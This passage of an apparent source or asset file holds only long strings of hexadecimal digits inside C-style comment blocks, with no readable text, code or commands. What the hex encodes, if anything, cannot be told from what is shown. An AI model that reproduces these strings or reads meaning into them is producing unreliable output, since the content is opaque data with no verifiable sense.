aec8999e38dd7e6089346467ee2ef63c9916b87d6e540e84f1520de658f25982c69a5f1548e384d153310a914fc3242d4fef7eef83d0d82e634fdc16468aec2507375e3e5509069c54720909cc5c7272ad7bcc64bbbaf65153a016fe7d62b85847e620dcec3eac618c801715e2a1e61cb6bc45099b685aada658dd765570523f76352a80c0528b8f41d922c8e28eb297236b5cc471c9a1d4b19413e4cc87ff0c56864b6b7bb90cf7de752a3310704e2a1cf8eca23431d148fb662451900e274c984ed4da578b22f8848f2936334a01c4760ca24905eba2d1268106290d2a24182155fa4dc2ad14b7ad4b7a6c9019cb51b146bbf2d3a035f6df14541353cdba2b8a83203643790b0260b73269069be674c6c2d546f8372dbe9a812a45b8836069988da7803db728a055d8eecd1321468dfcbc457602f6cac6e778bf6dfeb856440db3406b7dcba10d476a23d1c11e1f3a15a5f2418ae879d275a0333b547935abc4dfa19e4bc5c4bde8593dac692134db037ae6accd562252848bf37c2008a808c3bdc385c5b8804fa347938a829*/
/*05b8e9db65a8d49b1f838bcce1a0a4326eaa2c5b4af64d0e3136d70eaffd3b614a43be5cbe97516f0619fae80a4551b710fe2b596ebdd818ef80baafd151e8797fe6fe043c8bb2ebaa7e6cd275318c6d4b42cceb9c666f6a012add69aeb84d5b35f4de1bbc59d89d13987f6740ac97450800b0d719711555dc1da09a5fae8a47181f82bc1a133537bc811069a13ffc6ebe5994a821f6ccb95da55ca0a5eac2a4b97d1e797d8f45c188f1fbb400c3a1bf522d2bd45be9914a23627c9ef993f3690f1095aadb7e8be92aa7063b136068870e1bc6a74f394be6b76526a73b9a89c4b24d38db2f07a6cc412e00b9d75045ca7744ace02972524a77bcaaa57332e1d57169f271e534ed214d1137d2e9dd380434c1748638f72de58fb82358f678dcda275bf5ffe6659fdd281523a85efb4a491274d391dd404cfb3f56e4249bf80b304361ca649d01d707449e53ac10b3fc993f5bfc65ae5317ef1c9317462cc7b0ea3d80e7b4ee09c49eca6f29f41aec26d5489cb95633d010f880acccef9b58eb099d8843422d2a1e5813bf7cf715e7c09e1396e2151cf8787f3e1ba2501eefad81e999b9f2c54618e7f616fe915847b473760f2453863baa9c51df5d0f41e46577664ba17bf713c2c9e82703562f49a278e44338441ee3a5e22250cb8318c2d845e7818456e054213629d57ca5bec9b3613a9a3d9ebdd4d78431cd735c6a01ba91c93e249eeda883a06a52d8253b0fa8a7f9c096c8f4418a2cafa7fb8773a19065a043c504bb934eaeb759a62cb4e7268ce8f3ce9705d8e9fe39e3c9da898b3e310e9a6274b91877501bb7852490fbf3167471ec3e6234ded6651e585c98a193f7a8fa2b3714e604515b3810c2b052c49424d8c8608178dedc7a31dfa8ee09406d6912f07aeafdebc6e7571d74489a2a5ae454919cca6829e2a468a7200d7bd6442f12e69aceeb51f559a8357ad2acd2fb309ffb3bc618a4a714b5b934c83717d40df8cce51716bd00cdb40733ed07623da75151500d86f05123c12ee4623704aa371bdfab27ca2da7906470987333d9afab37526a11a690d1505f86676756de87d6c2ccfc0929dba93b05c9b36782f34516202ddc1cd1ae29f25653be14b9c445b24a73a6139f0c79ad0274b48f9eea659d35e5025e0b3213936d9b60f509b2dbe98befc536e0b30714a91b403bd87b720a871d2bfd9c930140d805921352ffc5e6855f862654ce11acad68a5d30bc243d5a3f445bb0937f0a8afdbc237329f5724fcff636a7cdd66943ece77ff3ba60a640e003623fdfd2f8b08cf7f3312a9c428284c2672883f5e9a6046116c9c7285ecd5806456dacaefefc23ab1212452dbb63c5aab75903a05f145555f4a77550a5e1873e28b308c06bb932a98a685919cf0eb3027edfb1e54daef58d147594a6076105cbab434d6a722a4738e1ee7ff1d2fba0a742ef871d4b5803614c6d1e983a884a349de09761e35c79cbc00fdb376aa1bd5642f9758fd035768c65110dee04e9119ca87aeea7bf3d2a8fd650727141721be439a9b784847853bbb34238f1b67f199c462c70079373f98f473d9ec2952fdd0a5f86af3ade99ee8b34ad93049c75a9e501ca6e05f3f55d28a7cdf0f55673e02adbe368b06e0cd7f7aebc4a18f129f502ee530a586161c18bd54df33d898d4ccc513608de51a7e407cb93f0cfc8635bac8434927a765360dc06134314717b0d4fa348cf7ca0506ffa21475b7cff675ab701edf2673c95fcdef19d0bf3feb520b17f046a7226d8012179af554cbb4b54dc33ad67f6d5f29dd18960c0cb4c3d332349df7e7925b1ca5176c6a1c4175602fb4e15771c48b7bada9757f5aa761c88dfb12af743fd61b1bfc121eeac1d00bf663a5491ce65cbeb5881891d935a52505f856996483faed4940f0151f16992754656c34c51a51ef349e547c37d3ab2d94b051ae7f8556d5fda2ce55a47328ea105f80ef9a5d25eda3dedd603a7e984dd75fe4a5cec2db9b4dd7f742a24349ebb3dbdd0ef52377235e8d6673ffacddfe16aabefefa228ed99b70241a5880e296b1f928ee7031e3fc8fa7e24662a1c44427ca5c1d6cf6bd20be0b6db1668717be12601f5c701a41781444f329ac07121b35b2953183137d75e32f225b232c0d4087eed21ceffc7868cccdf9e1195f62b067624d1a6f2ebc3bd6fbeb59c9a7ca698c3805806a7011549315ede585f6d9f1f587d8b9da9fff1b2a818279f25c13fd8ed6cb0bce26aa4c0bcde2ffb596067eeac474fdebd37bf012875a0e0328af9cc3e423bf031a7dc7cdad14f20ea2ecc404c2106d19a00f77b08ff22480c66294827932c13533d8713f9344bb6d8ecc118609d910f67be70d1da2f5cfede74ea7c81621ea018d6352926248dbd3090ffc21eab1d0f14a95b0502c465d511ca51a6b14c6847849af4c3187cf64c94fc5dfea2592ebef9943d709b95314739de6dd710dd7dcf21ec5d2404f33e76d8b659dcce910cb97f69fa38a59c366151bd943e1c8de37ec6a0942229b939fcfea302cb23a51dab1d494bc71eddf45ee0859ea1cea7b7d99c498c9dbb983ad01c39069c3ecc6091b93032966a65578e3306c289bac3195dcb2e0c278f37449cf6a63b75e1b52397673ec08f7e2582496f08613bc58d122fc7f45e4f6a02355bea92a39dff83d8f8e9bae5d561314c162697a6180075ca641f4fbb2fd3e1e91e11d95112ffd4fa3d8cf9d1b5fb14b9c42bd29b75fde483f72ef27adfaeaefd9897cdef6843a73dc54ab9ebc0f640dfe97a5a56eafad8ec2bce96b88d15b8827088b048df427be33cfa300058e05460a6687*/
/*c3147711df9cfb653bfa366faaa3a3db461442b9cd814d6a929c3f4381fb75f8737add461bc830f1ce9b310c26045c1c1023130d8f644be4f385d901e84c1fb0bf2f280f4fdf9810a3da2b1dc10829b5cc4af2ad390f21a809d37a44abf6e526415219958ecfe2673d47db2fd39bf1e6ee8fc771c1794fa5a634c1aa70e117d3c9a50a8b0fc24bab94adc2db090c3853f836f292f86049a3a31e43693a0e6bd8988939f8ebf033177acc3a0d40c1c4f3792a0bb0bccd3a7fc183364e760581c068fbd035395f1e7f58610c1f935365b45d3d68d547a3b6c1276ac0b2a1e69fe17e91fac4521aee4b494bf5270dc28a254d3d9deeb1e8d6ce429f409d4c71b66e13afaa07b795a6a7b8138b3deb0dfc785c5f2bcc0df54d3f5d92e48190e6cc2f3e616d4fedba5618c686a4ac0d627f5a17425b1f465b5b25cfed3770fb86d5b9635a23d30bfbb412293dfc2c63f2b26c631711839f8fc3662b94442dfba20ae9f6aeb17e3b4bf581728098343088ea3cf3a3f9d493c7bdec772d9f5edd1a230bc98fcc5bde08fac5a70d119fbab4154cefb7018dda7bf8a2306a6345acb93ca6930b2d1cb5df9dcfd71e8f98e18f10ef59e63d3e8cbeae078309f5b853704cd1cf33e374c138d8ecd49839573eb233f198aaca4bdc35e23261e51f034c6d84914c263a699f8adaf2da500822ceb7ea3b3bdbcd570283220edf61447c9a4520065141f133169911517061d61426a7a4a295967f19f0385ff6a169b508d351e67a6a559d63ad634c46c713d47a81e666995eaa607767a2c969df6d775237622f0f13f2f985a565f8031e2d17d19338ab4e9087137a5e0a55dc322686627b1c100a6e5f24ade9cf21a91c9409c995598734bff8f2e635cef3a9f7d18885e72a70a58efbe3cb89e272027879f54c31ac19b01435a54ab9d64db98cc055d790de6063c20edbbdde9cb47f3bc6e3c2d2344ef552a7d05fb2a87cf0a559d95de55f307f8e928003037449416e5af3297cf65b8f9779de68e7d72a5f1e891497ff77d26b4f06815cd63f244a20e09bdcebace4ea117aca94a7baea93e3ba1b6728f98fe049ee600c67aa5442c678d89d679f15a1f4f26c6b98aa323b0ad8059d86f795eadf70757d36aabbc9a3b4d640a47cb3d42473ce84df04367a10224fc978cb610cb3b47f16e62ad80d083c0a3a70ecddb2c2f52f2d1947a9fdad89a56d88244f70a1c13dc8c0b1bd389130265ee1eb332294a505b43bc4e1b099fc729ec9bc71379bc1eb268d78c4df6ebae1b9f4ea0c36add407fc9c5464243775f0670c0ecab57db3114b9f7d5accc4c3d85bb76c656a3229790f05c5828802918b8acb8a80bcdc512686c730f32ece65f710d8327bb732f45cec6276dd42ff151eb9809c1a3d704496fbf8d3f3b16c9083a48a9d38adaf1d8d4e79f20d6a9d813c4e77fc97358a0682b79f7b678c4d2b8bd77d94890ffe34af92f9f64c421b44dabe730cb982154ba6883aad170f82a9bbca59b2c07fbe4fa67bffa5f1178050fec3409fafc4b1fbe7e20d2db7b70d3e3e8f9b38e5c8f351db8b3c91bedbe1bf1e7150dda9b6cc77e1a750dbf65dc0f37b90b53f61edf19f8b4bc5ad52523b59b7003f39892d3dd7b4aab0d232b6796a7751345523a012775acd5c4b34326b4df88e6968659aa19f43091993b04f8ffa39a8c517fb38077246b81d9d46d256cd906717e27f5e80fd233688ec89f8d0a15e4c52791ea547401ffb38e1a01e137fa7876ec6a1267b722371c6266863ec2ccfde8770b2e332ec55bae1872b1bf31918758e47b141c058e989d2e5f0f236b17ce9258d4c7c07697108102ff4f2a9c804b131435da50e9d6dfecff84432a8fdad703768dc0a9bbf4145d832df58ebc3d33c0a763d31be9fdac16b0a39cb3a9f729b56732fa859b7d30e24e3cd3ceb271774212c7f7e9e37778c10709762a4742fd21922319a3ff4ef170a4cc73e09ac8ff98cff3c8299d4d83c80f2583989b1cc07fb8e1f96a977bda11811dabbece1a6d66302f333258849c16bace841db793bfaef27b67454e84d8a735a96b66aab37662321880f9e3fb2a13b4eea0272bafc9008300057bd95970c0112467dc8184f0712aa570e183fa30a8144b51c6cc1c547e470488186b8bc8d42f0504c077917d951b224f9ef7d4988623f6350402ade270fac7c42b1777e94788af1cc06f255bf79349b4432de8cd8f936256442f69d778a3076ddde6d5415321a9baabcb040be9a1703babc1d124eaf97764dd77c0bdf256500d0f333dcd186477681e9a22f58877a8ef0ebdc49e32c7f205a6f019f6aec3b6141d7cfdcc0ff0d71b1239200d5ed9b4af91cc15c46373c19e413778607a1f1ad5fd679fb2183c92fb05330f61fec8b59c4a7bfb1da3da865936f818f3af64f1f58513f99a19b76fd23732dd7f4c86fc53e79518647f2adb5c7d553e17779f81f4f0a9fe1ef23642d2c34a17bb7f17255bcf2686551ef4731e68a99b8dbf4fbfbc9a89f845980f7fcf2a019e7f48919aeb4d68a6d7247e4497fe6b00619479056335e585d162785c0a7a03f27fa3b1401070ee42ffeecce2389b4adc03e0bacf488d38c03a86e335da26fb368ffb97fe6296a493481bc9f6a3844433c8d49a7c31d1309122b3b8f4ed2b854b9ab983f2d75dd83c33f40d49d95cd388e3fe2dee39dbb0a42348c3739ff90379af381470b9966ac2d5c363c9ef5eaf5f5380e62a37dfc8fb02453e7a985aa265b256f1d62188818aaacc0fd9c272d6db723ac7499c6e9b1fe31f38356310dec61c7b239bf3ee3ca4294858a90650784ee3a638986bb*/
/*6fe7690eb0f2d13a355952f3b137fa19d2b65ebdaab36794c7569b2f923c5bf104046e92ed87a7bac0fb59cef20fe53d1873644a39312a9d49ac079d118a0d61b770826b94eac026a35558c2fc0e218d0fa2d5f08f80df6891a2b5343dd2d56471e88eb62139b3b538877261ab441360d0cccdd14fca1c395fe4e82bfdd028ff33cfe7bb253e71f4c6ed83d641a02e29aee318739eacfbb5dc78c932dc7acf9c657d99c38321a557abeef7b9730348883beea7839edb4fb60864e847052ef4e65c218f084e72e88719c9e1d733bb2a2eab719a29642c29e37fa6b0de0a10710e81103e97ac3c450cffeb1f90b053dc0786490f6d10c71cb17a0ce7fac3eaadeddcf4c59067829676feaca32cd73cb74f95393f0848b91b01874856c487345d6177966954e779e193d8428620226fac9a21b53cc2456befa08c90e39badc8307c2c5df4ce5d5956831032b5e2000f234d7ca0133a373856f446203a1d840225d4de84fe73d0d7df08762be0aae0bf21dbfefda4b97886bff9a8bc157ee82e8065fdaab9167272c06cbdbbff604c3ca87b422225bc639f6e8a9da85e765ffe9bc2509db7f390bcf033c8003a83c0101d7bd024067b84324b9f9e1fee32d9f57866ab8a05bcb498413f6f88b10fba00fad782c26e314e34a8a697b667cbb09cb76c848bb5e8131e04752de3a7ea68a233f90caf769429ecd03798bce2fafd19f2f23516515a8815127b00d96873e8a8aac598ed546d549aa745dfea0b4c9f7b76b406d50e6b92eb183bee254e5d962864e0e7156c182e843da258699d66ad620702a97d932768b2f610773a63eb462717c53922ac5a543f650f1f6d7e0bd4efe48bad8ee17fba3542be42efd5b0e30971cc7c87979fa5eb841ec012b43cf9e882beb60ac21a05683e2bb8c36a77198e155f49f4fb97527ac02f7d7edc2e55e0b674d7a33f43426964cf603873e50d103f424abc5758be8319370047b7a94760a55e68f694b60ed5e7486eef3355235e65a04646e9efdb1bff8eb4a31d43fe1b7948ada2d3bc545979e2b3a9326bfd4defa3e97239928703829be7afb8b50e016cb7090948e5651f2df8d848957b54280850b85e6138369b82ee9ba8af8f85fbb10909d6ae1e1dc29e31a0ad45600aa51af97ef239026cf430ee81d2127e3d14e7f4f53a0f6c9cd68220d0bb6b62c5aed3741c3fcecd93be04016e605b72c8e561ca1423473eaace174b460408211baa2ec40f68f2c438a4d4db8b6ae5d344f76ea5cb91223a94d7918b96c9b841a9d9302aad401a3bf392a263cfe54adaa593429d26d79bbe2c3422005b387b58bbbd7e9655dafd49780f8e8a659d3aa1165ec77bbcccdb69dfe7e66e6256c6068d846528e16cfb46b9098f4a1c6a5695adc0e7779fa9e34be5cc8ec8f41d7036a9a829e62278087ab312240bef5e51720588ca1a4a4219d446a30d54e07385fdbd533a340d403961abadea1db1752896ff88291b36c1223d205a1cfd063e2da8b7b05c3b486fe16e5d9a483a01539d4014c8fd51dd84deb2f33874247c90666dd9961cf5572343aef85c78561820100f376624d37187f7f70f87ed9d036a35cfda3f1c9bcbbcd405930e7171f267a571d26b7a5f45bfd8623f2e3c2eec26a5335aa90b16296d1a7df5bd11179c13b24afcc59a0f09e5b5d641c9f08f9c94a882ce968f1368bcc0e70e103ecade75d5a4365d4abe95f9689d0874fb95584b4981ba89d337a0299879604bb8f0343a3ea6c7f6ba376940cf8ca835df0385222c715c16573cb98da3f428f914ab553d91e692f128e5977589c260758e0d85ad42f19746644780fe368d29c33a2abd52898e9c450668f3f11fe9eb20bb1de948acda112e50d2a1d1f811359e49fb7db0698931623540f6d830090d88570f42cb466d85e0f8912597338fcafbf61c4894902e450d8613ddd207646cc81eec67d2ad2b323a2eed3c4f7cc81af2875434ee8657145c9cb50da4023d1226cbfecad3c270a136f409f4e38e28508901eedbe6724d7fa34fc81e1400c14fd568e2d09995dc506ab0a90f64b621d5ca8d08a9604615b608ace1237546ebfee29b92111d558d38731940311ede188d9ce6c44cbcc9447859e28a3806fd696681ee66f19a440338c4bec9454c4fd4e4e39570647ef1533d90511138eacfd227271fcfe3f237fecc977d0f1a0fe1086ee62864ef8eaad11a2d8648f59c41fe6217aec024d9c1b903ec34fccde1076b5e69ea6ea38c409503b3be350c823ec6e6027322596d23e70b866d31380413a95d06fd037372f95a60ab25fbd5a0cd1cd9c536edac54f75bac57295e8119846d5d04b5518b1a559257100ff159df3ec44ed3e5a1a1dc8d749e546a672b5f660f01de91dfba4e19ce58ec4c714d1ae601eecfe12a0d3b922434abffd02e27ce8a6cf52435b5cfc5d0ba42c6e1752a961e1e7d31f063fcda504db59f0b761108b180554d5c68faf4aded326b918048ce42f17a626d2c13aea9457b8b98472e7f6d249ab5c1ef51f5c3fba628314c64ea149ac6987be349ef30d2892c01d0a13240f5f455846c99ec56906f2360afc9fff4fec298f1c2079beafdc557246532b4d38d619a171ffa6845eb419df705cb0cc3d415406e334c2895a784b01a245b064c790ad9eda67020a88e12142092067f1c5ac10d215b0cc7df636798bb966df33a88a9432e631dad5f64b6f86b96dc81655667c554b04e77ecc0aee0e67c5c750bfec5e89a1e7cd6727f2217037595272edf3847ed0c862c26a814a97cecaaba9600b4d279aaa1d4d3c759f9a258fdfbb7e36daa35ce09813c75bc8e19*/
/*e7fe7d9126238bc6887106a6d9f03f79a7d283e24359245111d77a4642148b3c8dab89967f1df73f83f713e6da8062f5b9559017e1b33225db272e7766ae681523bfc17506e3eaf9f64e7908006723611e0eb787718c1b7c96a130c8d60822df6e8a17b6a0f6b002edce01db8cef5fc5178e561c14add81cd32d0a426ecc241f0bd8eb4b60e248f3c128324b9122fa1800630332d2b69bbe569be416075ad96a46f9c02c09379f62681e445372f60f51ed5bc015d233e04f225d36d6256496c174ce5ba313e3e99a94a7e38360e8b662bcea5f40aa36c1ec0b452cc6c099dc75fdbcd07c77212f41e949ec11d3cbf3fe56768ca51b3eb69fb5b04e9d0258b2089ec1c59473659f25d51aaf8757db63d2a13abe76e19498be561eb7ac81668be0d2c05fc096b32c4e7bb2e27902f7b8bd3a36b1af328f40ef530ac38745de015e134471a1911050f9c252903a50e69bdb0919a65ab8a059df7fa848e7c7db203e8950b1002d38b51baf6db41f04cfaf1b55205bd657fbf8566a2aa93fe8102e4a90f1d3d7f2843ad484c30adb451a5fbdc7ab9f8704919eda4201b23e8794f2155a0dddf0f0b7968ef4f20a981d62cfa814b3ae4fe5d71395baeac2c026a96834e5afed522fe33993813501a4087b8483c366ba27ccd06f94e5a7c85d8dac4ea179f737ce9518bc858cff204896e7c00dd2a6b196155156d1c2bb0d8b28337bf332aaf579c983f49ffe3301dcc7f7d7fe369d04171e96065a94ae83a667fc6501ac0fb2ef668e6c8b3098a81eaf08561ca5e293a16b42165a509a19481be5955cd04417c1a238a6f6e82ea44ab9e33d3f24517723037dd58d69fd51af4308906e702d5b09754d0432d3c1b783551496a35e9faffe5a80144ea59e38e9cb56703b4ce75e782b0b5371e5f14bb586a39c3498ac8879d0603a4f5d6cb1b0c6779a5265f15156581c6e1c04094cf5aa86b593ce9e12c691dfa8cfe5b516236c392555f6e3cb72f249033e65a6dfab45bd74780a91233c555eb033726e68933361f5c820042acc33970e49271c7754fb90d1ac4cca415d60f6df2a10375c145ec2af1f0eeeedab337c407af8e5a4c40cad3337595fa8bac422f21a917790e6360f82ffa0650e68978ff3d6d25ec6732340788adf157769c6b950a02ce1f0e91d5503386537b28c8ea4c44273289b153dbc56029841d4f9ecd2b2eaaf06d89b726ec8e856ab79d6c9cefd70a993e175b034455e8bb658a2afeff22adcdd6c13bda9eada4c2d436593f66017189f783d71cd48b982936b6520dd47960e0ea815eba2555981bf681b02ab5b078b2ba22f3d409f2e620f92f90ece843533477cd822e3b5c4ca08508ab6c806c68ff62f8ab19996515414ffaf11b23c1a4efef66ca697d7bad6b7b3410d9e52ccb3dc9a2957af6cf4d13f1961c299c4b7207b86ae828512bcad604e44619480a5b39b177f3c0970de5a54e792cf413535aad08fe7e53661bc20b97fcd1f47bd2fd60643202be4220bfa80b7a0ee902bad2bd385a66b54fca1869b600d4139ca7a44181bc7fa7320edef8e3937bfc78c83904a274cf21e76ec741cc6a6088b48200482367ced74c2f77bb133d43ea5f88469f021ab600d5c810e74d14bf3945a171a06eddfa49adb4f11ffc04eedb4539dd7e8828021374a1404192f7607ca47a26e211acae4744c42695e051c5e60401f99b6920b1fb73bdf49caa0302fc7f5f7604e66f1fdd79cf17aad25fd5ec6de3a075231009a472106b73bf8f16992c424b5d055e46cd3a66e1e1581ebc4fbcf1055de59ad44e8e7c7b954ab9b899ecfa94912587bd44e880ab578014c3a5f59945a30fad227da24e1978248607eeee4857ce3e2563d65158b3e8f44aafb293dd47f863d0474cc8ab20b8a5ea44e473d706695b3d7dc41625711b3ed96a4a9f575f54bbbc12431966974f0863c24bd63ae0bb1065173496ffb63ff267f76418d31ae4713b8f5eee95e8cac1443ce21fd67d4ff60c7f44342ae49cce24cdf32e49418b64bf5ad6b78cfe0fc32ffa863fb8e6838244b202128444305127d1ac2bb59f9f6635f8f6bcbe93161590093362579cc63cc6f184fb6ceb62df2cbb62b5287c471d3df2e8b87978773d25de5db1b7588fa9a8a0611ceeb8ab36be4e1a5c5b4e782203f06bdf0c2f301af32b17731e2b4a8e2d530221cc9d407eaee6afacbd9091c323aa8180948ffe1db62dc0dfabfea4a498c85a4cbdf252d85bfe79bf66f386f733ac576297d6bd8cf209b223e630dd48b0ba426d19b60de6c8aa41f95ebcd6d0935f9d998ff1f9545b7ad2074fee8d2d8d5e2cc337e380cc45961409c2d65a837bf713c295a04bc8785091f306da1ab3b4295fbbc4ca58b0cedf7825897666c38eed918bfbb0fdadd820d44f86ac58254925d0f1e37e1b9ef98365c10c01446b3bf619f83c2e4a56dd0170cf8991047c8aded6240099c954c5bac7efc108a9a55295427e9c24b77addf1267c52d0be16dba04a3e215e75603360f5a0cc72d731c25790d417d97905d141b3c50ac723d30fe49a9beb2ca904c505a0b7140bdc8dea8c86c081610997724a2ee157d2c71394b64443411b7d124357419fb9f88b1faa145ae6c8246fe1d60483bf401b53529bccdbfa98e646fb9d4d3222ba69d78b9fd08022a16434aa230b78ba256eb9d914fff507fff8604f0b673c2312494c24c310f898711576eb4cacd17e8ce1e1527cd42aeb7b1eb8e49e51272111d3cfdb4370aa370133e7058486271c4b618360f068c10475e1c900eb2ed9e6d9bb6843842cdb4a42722ec6107de95e806a1d68134f259900c*/
/*f4f98168cf7fc5371efd4933af999b8d0a7b560fa66b40787842a419041f9937ee20927f3f55e5e16489480f4ea0342fd20adde1508d271715d556bbe0d2e4f40cd3857103f4e433933f5d134b6e57b1c1cb1d4b5e98256ec7d0c77cbbb1e13888772dd429ce6d368de768136f5f90847b2d6d08cdeecef879c09d4eca68dac96243b22df813cda6437c80c75c5f8bfcc74d93457b8a2605aa4ca8b014f5175042583d42b4fe6caf413a9ec65fa367a981517a03a8d229c61d752536086e527c6d91fddf5c03459f2ff685fdd61ca12d962dfe57c548ea3419a00cfc10391e72e443060aab7d6ddaf8dfbd74ff283fd92b3d6f2bd37f5b766e47ecedae7d2bdecedcaf0f034c9c1de789793b9075a509ac3b4d452d2b05893156d8d4f18cb88abcd093e9235581bb64dd37b760150cef54ca6d01da8a946ebf1aec5c321da8a2a1a519dbb47d0b997bcd185a7bfd9b6b6d8ab6e030950682a47127491abe288e546b9fe81788ca651062236c32117c732edbc7a705d786dcd715ffd702d476fef371e6ba0aa4044cb7cf7a4f30e0f164dded2f1e92810db6f9924d78ed42630015b1bdd934aba7ffde0b5dd988ce3f466def6d6a17b3e487f2644b648315538b66049b530b322773f47149f5a5a76b3ac181369bc5fafb72483f902ffdd6ff468556829c0e23b2f46b02ed13cec45a89ef809d6a6d720f8123b4fa9287b2c3dc37470cfa2b9519deb0964653879953ab4686e62a61473baab8c3b2987187799dedd000e208f532190ad01c26ad200466de182a80d2a431200b64b641da6083e6af61f5a112c151b3ec22fdbfb2f4f5d080eddd880b94b4f044d769fc59eeb70e30155bbebaf0300ca03849e233409822f60fe8bb40e607f8c60d2e46b4906b0ac4632cb212d974045d2c56c5e2871c5e851400b1802b50404d13372957d2826b4ddc5d8c2e95c09d15cc887f09056b8ceedb054fc8023b0bfd588a699b8951253c90e80828fb0db50caccfaf1b21cca7127ebe46abc9bfb13e137d9dccaf9c613d7f0190741011c250986b0cba6e1968e5c9f687fe64438638c5493a7af6826a73ae32c250d7bd95ddd299cbb957fd3a929a54b69d3be056f46c9a3a4adfa7194933b185f0de0fca2f306f07092c512c5ff68d53b7dc31fcaf69be954d72af3e6a88e2f60514c4802ed51c8e5b116b54725935ba470379e9afe06c05a4e29f445a66c6200288ae4a7f9bb9d92f4acf7e5548df5e33389b662116d98ecb5b8b21c4a697c9f8c64f7a9ebaa3f89041226bbb6389aa2c5fa14fe62203b3fc2240a489df64603f000eb3a5274dbbef3f4b1f51399fcedca7d2f7309923bad4fe6efb56ab6afa045bed0ed96eef005c20e03a4ad9fc4546ebd38fc2fbf6f371af9123365bb9006507ed0511d8dc83511dd3e820fe3cef9f5cd60d47e0493a0d20d683a85a9858df0a11349a381eddcfe4e89af444fbafb244ff629565db32430ac6ab4eb66190b7808633fdbba61017eb1427b76172e17d4e93dc49c89a5429e4d0b515c15bc19875a877572bbc797ce318582132fa6315d7a43b386f22af4ce509c0eccadb7b3a0340c847c23029552286021af4d1cc72cb5e14598231fabc08109bcfaf61514f77edef48d2034216547993b9fff99467d02ae20f16783104427decf2cf17836be489ba198dd9d0522faa05a3128913f3e1c2606b69f0a0f8780fb1565dd95bcbeb001dd4fba501acaead043276809af2e1f7a2bab2cc4399eb9c4e6f017130540822c699f4de3b4ad8731aa99d5670fa11cc43c10ade753255941bf1a7bcd8b28ed45f27d3de4df0db772ff1f8cabb7dc606625cdc9e36c19f921f851c14eee50d539cbdbc9449fd34b20f48e439e42c28428667ff7df43d502a35524a267948ffa2078dfa3f850c99a24188770c635a3f55ff8a030a3175e59dc92cec1e3a720ef763fc21b322e73cc1fc3eda52b693a06d1bb587c5ea9b075899189bfce298a0fd3675472ef69f8ebb35b99d4af64a280e8cf2c1c963ea3a48d19723136e228871b909c59db522fd6cde12cacbaf80974c28bf3109b771a5a02d014aebcc6e5f8282216a326a245c4f5fb5afbb119f61033ecce4ece1e48ee625c141ce2a5a398a0aceeb9229fb2ac1fa7e5b286fb136b546235199c4abbc12ebac5306f537ad83286209c2f1f2826634829fd5d06516d4897039c76308cce0bbed9a7a9e3030221e36936832ee9fd591de0689b1b97e0b608fe155b67cfa4d8c3584df79002b2571e5eb7a4ff74fd441a997388b1bd99a0c3b98e4bf301de1e454277a75b2d0dc933fcec2e3c49a445c1462462998cd7f8d92395284b37ec88926e755e6f2c7825796934e0be57a2b2e31e31f121df4078d832531208648db40284dd1b77a79e0c9e8f4cad299077e958ba857f1ac11610a0f78172405066ddef8444baddbebcd0c18da124e1a33b0b213655decee91a73a8838fb2f5d291329c67b152313fe28570fb521b07fcb40eb5fe31a96437dd4ab31bc7f4b98bc87ffb81349e23929107e5af6a3a16abc57c4695232688b4f40a7c9c5d3f5c4dbcd7323d2327498a9dd6501e11a1fad70bd4b973fa1f09a39da5e1fd78ddc916c4ea084393dd8bf165ec2de4a1b34c1528fad82f2e3a9748094c346338cc1ee78737a9bd3aa112b59b46420fb85e39ce9cf198c0ceab11d6a2ebcbcca9ff5690588ecaa5cea50dbd5e8e0ad3b53db5bedafff7e4b2d50cb9596ac01b385691e2dd3df488eb3b8d77981e95825807f2fa007b003fbefbe0f3d5801816d911b61c9dd39cd6763f8d52526f9d90b78fb71236abf*/
/*8f15f635f08c4223d471a35e558aeb274f535c42d10fda843ed9e956d129a9cc04d46e2c364fc6e059b87d9c71d91039c01a67cafa3798b09233eb5f013d24ee287153c3ce19cc04a3beeef41639e8fc985a0153b5af4473303fe2841c2ba4942caa929d341272ebcd6ec3195f52fd4bedd4a9de3612a984b8fe6470c650e453b513024a5bbabd9b5c2be966a2c94537b8bf4f702810c99c4966097836f1383880eb6c1dd0f86fef3b272a6e992d29bf19b101191d6ab5a282fb2387a3c34a156f2e57a750b2592822c91649bf8f08a3ee2f37d233b28de226a929fdd8131ae292ed182aa1fef400258daf3d0bfe9b11877bf48a70db39c945a8cf8a5ca66fa52a7dfa446e96c179d1944deadca38d0e805d4bf49c375cac329882cfccfa3ebf4b9036dfecebdb29e3b2ebc3beebd798548db91b74771282043891b7a1cb68a333c58478d166552eae99796281f83bdc13f573a97e1836c2686e84827c3c3c6fe14cf0cc5f5f85a171839705ab5aba84f946f5449008772a87bf52059dcb27af894218ed7d5ef9f54afefb3cb25f9e9319d3b0d923048e93b6088997525f16e7ed907b4646ad8f33fcea3db5881cab42195b4b453997dd2ab6604b56dbf1f7fbdfbec6c389b395d734d4a09e18b7eaf883a1acc2447d14b6b2ccd0f0d033dc4c56297dc77172b4a853d63154f0791cee993aca7fceea7b9d82732a3bc589c5b44d6e9cb31186081e1554f893810f857f255d46ebaa6cfdd181602c14466836d9a5e30e9fa5e0756f8b46c9a81a6bc5b868ff64f8b3da02f363e3966ab9988a423d248d7e813cdcae5d8190dfee50a51c58b6f8069058326f528e03b2b27234a589c040b196724be743f2bd9407f7ecd14356b1b4040c659ba0c09c575e4f2056fe45fbd48e653be92551d93f08f962b69f9133dd6f7451e15a560929730576f45c5c69f9bc0c56f3d67dbb35a047e4d87a629abacb41e308eca626b137f4749c6dbd444ce63695de86d917fe6078abbe82778085e177f5a8e65b52447e4c29c8bfc6a261fd48a6eef9d79e048685469780f5c6e4d659775798d772bf86d28976aa72a9af8b1f494cfc146d42130e1cecbb5e1d9bddbe41be6d212135bc5f48a5d8e0385445b0172d21579bba9eb79652cb72096733a923b0dbcb8e530791386df2233cebfb9cf4e0459bd227e38ae8dcc22b77388c6116b846d3669d186975f6fc13a211b56f95f9558f5d56b662c6b323e3f5e48dd07696285f64955ce60f36f2ff7ee160e04074d939b4eacc2adfac83a7c873e3469739fd42390dbacf6855e4dd66207714d0895b98bec99ca11958e1b904ef75c4c5a79acdeb591acabcd72684e1bfcebe584ffa0bc6c2817616e5b4d9610cd0895f8dbf820ca032b95b5bfd2d4bab721f2975e43c1a7a0d88ffe5d1ff619265240bc722188b072137d44ce4a2eb65bdf75be660c926d6cb158ed5d493fa1152b1448881c8371ce0ad02442d3943775892493672b22bbc1db2148b21e3eaf12c43c0c45f8e32a7ab9d880cad3ab0600a699b495445de025344f955f574a516d6efd7e98bc92a6c641d99e36a6f2edb9165f26d29ed04073399c7c46922c033537fa4023b8938301a0f9bd25cea1a